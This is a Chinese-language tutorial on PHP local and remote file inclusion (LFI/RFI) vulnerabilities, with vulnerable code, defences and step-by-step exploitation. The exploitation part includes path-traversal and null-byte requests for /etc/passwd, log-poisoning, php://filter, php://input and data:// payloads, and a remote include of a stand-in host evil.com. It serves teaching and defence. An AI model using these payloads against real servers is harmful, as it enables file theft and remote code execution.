Web安全之文件包含漏洞(LFI/RFI)原理与高级利用与防护详解
1. 文件包含漏洞的定义与基本原理
文件包含漏洞(File Inclusion)是一种在Web应用程序中,由于未能对用户输入的、用于包含文件(如脚本、配置文件、模板等)的参数进行严格的验证和过滤,导致攻击者能够包含并执行任意文件的漏洞。它主要分为两类:
- 本地文件包含(LFI, Local File Inclusion):攻击者能够包含并读取/执行服务器本地的任意文件(如
/etc/passwd, 日志文件,应用程序源代码等)。 - 远程文件包含(RFI, Remote File Inclusion):攻击者能够包含并执行来自远程服务器(由攻击者控制)的恶意代码文件。这通常要求目标服务器的PHP配置中
allow_url_include选项为On(现代PHP版本默认关闭),或应用程序存在其他可触发远程网络请求的漏洞。
漏洞核心:应用程序使用了用户可控的变量(如 $_GET[‘page’], $_GET[‘file’])作为包含函数的参数,且未做有效限制。
2. 漏洞产生的常见场景与危险函数
常见场景:
- 模块/页面加载:很多CMS或框架通过一个入口文件(如
index.php),根据参数加载不同的功能模块或页面模板。// 危险代码示例 $page = $_GET['page']; include($page . '.php'); // 用户可控制 $page - 配置文件/本地化加载:加载语言包、配置文件等。
- 模板引擎/静态资源包含:不安全的模板包含实现。
危险函数(以PHP为例):
include()include_once()require()require_once()file_get_contents()、readfile()等读取文件的函数也可能存在类似风险,但它们通常不执行PHP代码。
3. 攻击原理与利用步骤(循序渐进)
步骤一:基础LFI利用 - 读取敏感文件
攻击者尝试读取服务器上的已知文件。
攻击请求:http://example.com/index.php?page=/etc/passwd
对应后端:include("/etc/passwd.php"); // 可能失败,因为加了后缀
绕过技巧1:路径遍历与空字节截断(PHP<5.3.4)
- 如果代码自动添加了
.php后缀,攻击者可以用../进行目录遍历,并利用空字节%00在字符串结束前截断后面的.php。
http://example.com/index.php?page=../../../etc/passwd%00
后端:include("../../../etc/passwd%00.php");
// 在旧版PHP中,%00会终止字符串读取,实际包含 /etc/passwd
步骤二:高级LFI利用 - 结合文件上传或日志注入执行代码
当无法直接远程包含时,攻击者需将恶意代码写入服务器的一个本地文件,再通过LFI去包含执行它。
-
日志文件注入:
- 找到Web服务器可读的日志文件路径(如
/var/log/apache2/access.log)。 - 发送一个包含恶意PHP代码的HTTP请求,该代码会被记录在访问日志中。
GET <?php phpinfo(); ?> HTTP/1.1- 通过LFI漏洞包含这个日志文件。
http://example.com/index.php?page=/var/log/apache2/access.log- 如果日志文件中的PHP代码被成功包含并解析,攻击者就实现了代码执行。
- 找到Web服务器可读的日志文件路径(如
-
PHP封装协议利用:
PHP内置的封装协议(Wrapper)是LFI利用的“瑞士军刀”。php://filter读取源码:当目标文件是PHP脚本,直接包含会执行而非显示源码。使用php://filter可以读取文件源码,用于审计。
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php // 将 index.php 的内容以Base64编码输出,解码后得到源代码php://input执行POST代码:如果allow_url_include=On,可以执行POST body中的PHP代码。
POST /index.php?page=php://input HTTP/1.1 ... <?php system('id'); ?>data://协议执行代码:同样需要allow_url_include=On,直接在URL中携带Base64编码的代码。
http://example.com/index.php?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg== -
结合文件上传:如果网站存在文件上传功能但上传路径可知,可上传一个图片马(在图片末尾嵌入PHP代码),然后通过LFI包含这个图片文件来执行代码。
步骤三:RFI利用 - 直接执行远程代码
如果 allow_url_include=On,攻击最简单直接。
- 攻击者在自己的服务器上(
http://evil.com/shell.txt)放置一个内容为<?php phpinfo();?>的文本文件。 - 发起包含请求:
http://example.com/index.php?page=http://evil.com/shell.txt
- 服务器会下载并执行
shell.txt中的PHP代码。
4. 漏洞的危害
- 敏感信息泄露:读取配置文件(数据库连接信息)、源代码、用户数据、系统文件(
/etc/passwd,/proc/self/environ)。 - 远程代码执行(RCE):通过包含恶意构造的本地或远程文件,获取服务器命令行权限,这是最严重的后果。
- 网站篡改与后门植入。
- 配合其他漏洞扩大攻击面。
5. 防护策略(纵深防御)
-
白名单校验:最有效的方法。为文件包含参数维护一个明确的、允许的文件名或模块名白名单。
$allowed_pages = [‘home.php', ‘news.php', ‘contact.php']; $page = $_GET[‘page’]; if (in_array($page, $allowed_pages)) { include(‘./templates/’ . $page); } else { include(‘./templates/error.php’); } -
避免用户输入直接控制文件路径:尽量通过映射(如使用数字ID或固定标识)来确定包含的文件,而不是直接使用用户输入的字符串。
-
严格的路径限制:
- 为包含文件设置固定的基础目录,并使用绝对路径,或通过
basename()函数去除路径。 - 禁用
../等目录遍历字符。
$file = basename($_GET[‘file’]); // 移除任何路径部分 include(‘./includes/’ . $file . ‘.php’); - 为包含文件设置固定的基础目录,并使用绝对路径,或通过
-
安全的配置:
- 在PHP中,确保
php.ini配置:allow_url_fopen = Off和allow_url_include = Off(默认已关闭)。 - 使用
open_basedir指令限制PHP可访问的文件系统范围。
- 在PHP中,确保
-
输入验证与过滤:对用户输入进行严格的过滤,只允许预期的字符(如字母、数字、下划线),拒绝任何特殊字符(
/,\,.,:,%00等)。 -
最小权限原则:运行Web服务器的用户(如www-data)应具有最低必要的文件系统读取权限,尤其不能读取
/etc/,/var/log/等关键目录。 -
代码安全审计:在开发过程中进行代码审查,特别注意所有包含、读取文件函数的参数是否用户可控。
-
Web应用防火墙(WAF):部署WAF可以帮助拦截含有常见LFI/RFI攻击模式(如路径遍历、封装协议)的请求。
总结:文件包含漏洞的本质是“信任了不可信的用户输入作为文件操作的目标”。防护的核心思路是 “不信任、要校验”——对任何用于文件操作的输入进行强制的白名单控制或严格过滤,并辅以安全的服务器配置,构建多层次的防御体系,从而有效杜绝从信息泄露到远程代码执行的严重安全风险。